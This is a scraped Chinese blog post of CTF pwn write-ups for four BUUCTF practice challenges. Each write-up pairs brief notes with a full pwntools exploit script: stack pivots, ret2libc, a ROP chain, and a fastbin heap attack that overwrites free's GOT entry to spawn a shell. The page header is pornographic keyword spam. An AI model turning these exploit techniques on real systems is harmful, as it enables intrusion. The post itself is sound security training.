日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

PWN-PRACTICE-BUUCTF-9

發布時間:2023/12/10 编程问答 30 豆豆
生活随笔 收集整理的這篇文章主要介紹了 PWN-PRACTICE-BUUCTF-9 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

PWN-PRACTICE-BUUCTF-9

    • [Black Watch 入群題]PWN
    • jarvisoj_level4
    • picoctf_2018_rop chain
    • [ZJCTF 2019]EasyHeap

[Black Watch 入群題]PWN

vul_function可以向.bss段上寫數據,還可以構成棧溢出,但只能溢出8字節,覆蓋ebp和eip
利用兩次棧遷移
第一次棧遷移利用write函數打印出write函數的真實地址,由偏移計算libc基址,進而得到system和"/bin/sh"地址
第二次棧遷移執行system("/bin/sh")

#coding:utf-8 from pwn import * context.arch='i386' context.os='linux' #io=process('./black_watch_spwn') io=remote('node4.buuoj.cn',28976) elf=ELF('./black_watch_spwn') libc=ELF('./libc-2.23-x32.so') s_addr=0x0804A300 #bss段上s的地址 leave_ret=0x08048511 write_got=elf.got['write'] write_plt=elf.plt['write'] main_addr=elf.sym['main'] payload=p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.recvuntil('name?') io.send(payload) io.recvuntil('say?') payload='a'*(0x18) #填充buf payload+=p32(s_addr-4) #fake ebp payload+=p32(leave_ret)#覆蓋eip io.send(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() io.recvuntil('name?') payload=p32(system)+p32(main_addr)+p32(binsh) io.send(payload) io.recvuntil('say?') payload='a'*(0x18)+p32(s_addr-4)+p32(leave_ret) io.send(payload) io.interactive()

jarvisoj_level4

32位elf棧溢出,ret2libc

from pwn import * #io=process('./jarvisoj_level4') io=remote('node4.buuoj.cn',27767) elf=ELF('./jarvisoj_level4') libc=ELF('./libc-2.23-x32.so') main_addr=elf.sym['main'] write_plt=elf.plt['write'] write_got=elf.got['write'] payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(write_got)+p32(4) io.sendline(payload) write_addr=u32(io.recv(4)) print(hex(write_addr)) libc_base=write_addr-libc.sym['write'] system=libc_base+libc.sym['system'] binsh=libc_base+libc.search('/bin/sh\x00').next() payload='a'*(0x88+4)+p32(system)+p32(main_addr)+p32(binsh) io.sendline(payload) io.interactive()

picoctf_2018_rop chain

打印flag需要win1和win2非零且傳入的參數a1=0xDEADBAAD
win_function1函數將win1賦為1
win_function2函數在win1非零且傳入的參數a1=0xBAAAAAAD時將win2賦為1
vuln函數中gets函數構成棧溢出
構造rop先執行win_function1,然后執行win_function2,最后執行flag

from pwn import * #io=process('./PicoCTF_2018_rop_chain') io=remote('node4.buuoj.cn',28567) elf=ELF('./PicoCTF_2018_rop_chain') win1=elf.sym['win_function1'] win2=elf.sym['win_function2'] flag=elf.sym['flag'] payload='a'*(0x18+4)+p32(win1)+p32(win2)+p32(flag)+p32(0xBAAAAAAD)+p32(0xDEADBAAD) io.recvuntil('Enter your input> ') io.sendline(payload) io.interactive()

[ZJCTF 2019]EasyHeap

參考:萌新詳解[ZJCTF 2019]EasyHeap,帶你走進pwn世界

from pwn import * io=remote("node4.buuoj.cn",27153) #io=process("./easyheap") elf=ELF("./easyheap")def create(size,content):io.sendlineafter("Your choice :","1")io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap:",content) def edit(index,size,content):io.sendlineafter("Your choice :","2")io.sendlineafter("Index :",str(index))io.sendlineafter("Size of Heap : ",str(size))io.sendlineafter("Content of heap : ",content) def delete(index):io.sendlineafter("Your choice :","3")io.sendlineafter("Index :",str(index))heaparray=0x00000000006020E0 #.bss段上的一個地址,保存了每個chunk的地址 fake_chunk=heaparray-0x38+5 #fake chunk的prev_size字段,加上8字節后為0x7f,即fake chunk的size字段 system_plt=elf.plt["system"] free_got=elf.got["free"]#gdb.attach(io) #pause()create(0x10,"a"*0x10) #chunk0 create(0x10,"b"*0x10) #chunk1 create(0x60,"c"*0x10) #chunk2 因為要和fake chunk的0x7f匹配,所以是0x60 create(0x10,"/bin/sh\x00") #chunk3#pause()delete(2) #free chunk2 payload="b"*0x10+p64(0)+p64(0x71)+p64(fake_chunk)+p64(0)#讓chunk2的fd指向fake chunk edit(1,len(payload),payload)#利用堆溢出#pause()create(0x60,"c"*0x10) #chunk2 payload="d"*(0x20+3)+p64(free_got) create(0x60,payload) #chunk4 把heaparray[0]改成了free_got#pause()payload=p64(system_plt) edit(0,len(payload),payload)#heaparray[0]保存了free_got,free_got保存了free_plt,這里把free_plt替換成system_plt delete(3)#system("/bin/sh\x00")#pause()io.interactive()

總結

以上是生活随笔為你收集整理的PWN-PRACTICE-BUUCTF-9的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。